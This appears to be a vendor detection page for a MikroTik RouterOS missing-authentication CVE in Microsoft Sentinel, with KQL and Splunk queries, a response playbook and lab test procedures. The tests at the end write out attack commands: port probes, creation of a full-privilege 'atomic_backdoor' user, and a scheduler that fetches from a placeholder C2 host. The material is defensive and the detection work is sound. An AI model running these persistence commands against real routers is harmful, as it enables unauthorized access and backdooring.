Detect MikroTik RouterOS Missing Authentication for Critical Function (CVE-2026-67277) in Microsoft Sentinel
Detects exploitation of CVE-2026-67277, a missing-authentication-for-critical-function vulnerability (CWE-306) in MikroTik RouterOS. The flaw allows an unauthenticated remote attacker to invoke privileged RouterOS management functions — over the Winbox (TCP 8291), WWW/API (TCP 80/443/8728/8729) or SSH/Telnet management channels — without providing valid credentials, enabling configuration changes, credential harvesting, backdoor account creation and firmware/config exfiltration. This CVE is on the CISA KEV catalog (BOD 26-04). This detection surfaces unauthenticated access to management functions, anomalous configuration/user changes originating from external addresses, and indicators of post-exploitation persistence on RouterOS devices by correlating RouterOS syslog/API telemetry with network flow logs.
MITRE ATT&CK
KQL Detection Query
let mgmtPorts = dynamic([8291, 8728, 8729, 80, 443, 22, 23]);
let externalRouterAccess = CommonSecurityLog
| where DeviceVendor has "MikroTik" or DeviceProduct has "RouterOS" or Message has "RouterOS"
| where DestinationPort in (mgmtPorts)
| where not(ipv4_is_private(SourceIP))
| project TimeGenerated, SourceIP, DestinationIP, DestinationPort, DeviceName, Message;
externalRouterAccess
| join kind=leftouter (
Syslog
| where ProcessName has_any ("system", "login", "account") or SyslogMessage has_any ("logged in", "user added", "changed", "scheduler", "fetch")
| where SyslogMessage has_any ("unauthorized", "without", "anonymous") or SyslogMessage has_any ("user added", "scheduler added", "config changed")
| project TimeGenerated, HostName, SyslogMessage
) on $left.DeviceName == $right.HostName
| where isnotempty(SyslogMessage) or DestinationPort == 8291
| summarize AccessCount = count(), Ports = make_set(DestinationPort), Messages = make_set(SyslogMessage) by SourceIP, DeviceName, bin(TimeGenerated, 1h)
| where AccessCount > 0
| extend Reason = "Unauthenticated RouterOS management access / config change (CVE-2026-67277)"Correlates external access to RouterOS management ports (Winbox 8291, API 8728/8729, WWW 80/443, SSH 22, Telnet 23) with RouterOS syslog events indicating configuration changes, user additions or scheduler creation that may reflect unauthenticated privileged-function invocation.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate remote administration from a NOC or MSP over exposed management ports — validate against the known jump-host/bastion source IP allowlist.
- Automation tooling (Ansible, RouterOS API scripts, monitoring like The Dude) that logs in and pushes configuration changes on a schedule.
- Penetration testers or vulnerability scanners probing management ports during an authorized assessment window.
Other platforms for CVE-2026-67277
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated Winbox management port probe
Expected signal: Firewall/flow logs and RouterOS logs showing an inbound connection attempt to ports 8291 and 8728 from the tester's external IP.
- Test 2RouterOS unauthorized user creation via API
Expected signal: RouterOS log event 'user added' referencing the new account 'atomic_backdoor'.
- Test 3RouterOS scheduler persistence creation
Expected signal: RouterOS log event indicating 'scheduler added' with name 'atomic_persist'.
References (4)
- https://mikrotik.com/supportsec/september-2026-vulnerability/
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-67277
Response Playbook
Triage
- Confirm the target device is a MikroTik RouterOS device and identify its running version via '/system resource print' or the Winbox banner; compare against the fixed versions in the MikroTik September 2026 advisory.
- Determine whether the source IP is an authorized management host (bastion/NOC/MSP allowlist). External, non-allowlisted sources hitting Winbox 8291 or API 8728/8729 warrant immediate escalation.
- Review RouterOS logs ('/log print') for recently added users, scheduler entries, scripts, or config changes coinciding with the suspicious access, and check whether the change was preceded by a successful authentication event.
- Check whether the management interface was exposed to the internet (Shodan/asset inventory) and whether any firewall rule permits inbound access to management ports.
Containment
- Restrict management services (Winbox, API, WWW, SSH, Telnet) to trusted source addresses via '/ip service' address restrictions and firewall input-chain rules, or disable unused services entirely.
- Upgrade RouterOS to the patched release specified in the MikroTik September 2026 advisory and reboot the device.
- Rotate all RouterOS credentials and remove any unauthorized user accounts, scripts, schedulers or SOCKS/proxy configuration introduced by the attacker.
Evidence Collection
- Export the full RouterOS configuration ('/export') and the device log buffer ('/log print') before making changes, preserving timestamps.
- Capture the current user list, scheduler entries, scripts, and enabled services ('/user print', '/system scheduler print', '/system script print', '/ip service print').
- Collect firewall/flow logs showing the external source IPs and the management ports accessed for the incident timeline.
Escalation Criteria
- !Escalate to incident response if unauthorized user accounts, schedulers, or scripts are found, indicating established persistence.
- !Escalate if the device shows signs of being used as a proxy/tunnel (SOCKS enabled, unexpected NAT/routing rules) or if configuration exfiltration is evidenced, as this suggests a broader network compromise.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
RouterOS log buffer entries ('/log print') and remote syslog records showing logins, user additions and config changes. - >
The '/export' configuration file — inspect for unexpected users, scheduler jobs, scripts, SOCKS proxy and firewall/NAT rules. - >
Firewall/flow logs recording external source IPs connecting to management ports (8291, 8728/8729, 80/443, 22, 23).
Tuning Guidance
Build an allowlist of authorized management source IPs (bastions, NOC, MSP, monitoring/automation hosts) and exclude them from the external-access correlation to cut false positives. Where all legitimate administration flows through a jump host, alert on any other external source touching management ports. Tighten severity if the device's management interface is confirmed internet-exposed, and lower confidence noise by requiring the config-change syslog event to accompany the network access rather than either alone.
Hunting Queries
Hunts for RouterOS log events indicating post-exploitation persistence: new users, scheduler jobs, scripts or SOCKS proxy configuration.
Syslog | where HostName has_any (dynamic(["mikrotik","routeros"])) or SyslogMessage has "RouterOS" | where SyslogMessage has_any ("user added","scheduler added","system script","socks") | project TimeGenerated, HostName, SyslogMessage | order by TimeGenerated descindex=network (sourcetype="mikrotik:routeros" OR sourcetype="mikrotik:syslog") (_raw="*user added*" OR _raw="*scheduler added*" OR _raw="*system script*" OR _raw="*socks*") | table _time host _raw | sort - _timeAtomic Red Team Tests
Simulates an external probe of the RouterOS Winbox management port (TCP 8291) to generate the network-access telemetry this detection correlates on.
Command
nc -zv -w 3 <routeros_lab_ip> 8291; nc -zv -w 3 <routeros_lab_ip> 8728Cleanup
No cleanup required; connection attempts leave no artifacts on the tester host.Expected Telemetry
Firewall/flow logs and RouterOS logs showing an inbound connection attempt to ports 8291 and 8728 from the tester's external IP.
Expected Detection
Network-access portion of the detection fires for management-port access from a non-RFC1918 source.
In a lab RouterOS instance, creates a new full-privilege user via the RouterOS API to emulate post-exploitation persistence following unauthenticated access.
Command
python3 -c "import librouteros; api=librouteros.connect(host='<routeros_lab_ip>', username='admin', password='<lab_pw>'); list(api.path('user').add(name='atomic_backdoor', password='Atomic123!', group='full'))"Cleanup
python3 -c "import librouteros; api=librouteros.connect(host='<routeros_lab_ip>', username='admin', password='<lab_pw>'); u=[x for x in api.path('user') if x.get('name')=='atomic_backdoor']; [api.path('user').remove(x['.id']) for x in u]"Expected Telemetry
RouterOS log event 'user added' referencing the new account 'atomic_backdoor'.
Expected Detection
Config-change/user-addition portion of the detection fires on the RouterOS syslog event.
Creates a RouterOS scheduler entry in a lab device to emulate the persistence mechanism commonly deployed after exploiting this class of vulnerability.
Command
ssh admin@<routeros_lab_ip> '/system scheduler add name=atomic_persist interval=10m on-event="/tool fetch url=http://<lab_c2>/x"'Cleanup
ssh admin@<routeros_lab_ip> '/system scheduler remove [find name=atomic_persist]'Expected Telemetry
RouterOS log event indicating 'scheduler added' with name 'atomic_persist'.
Expected Detection
Config-change/scheduler portion of the detection fires on the RouterOS syslog event.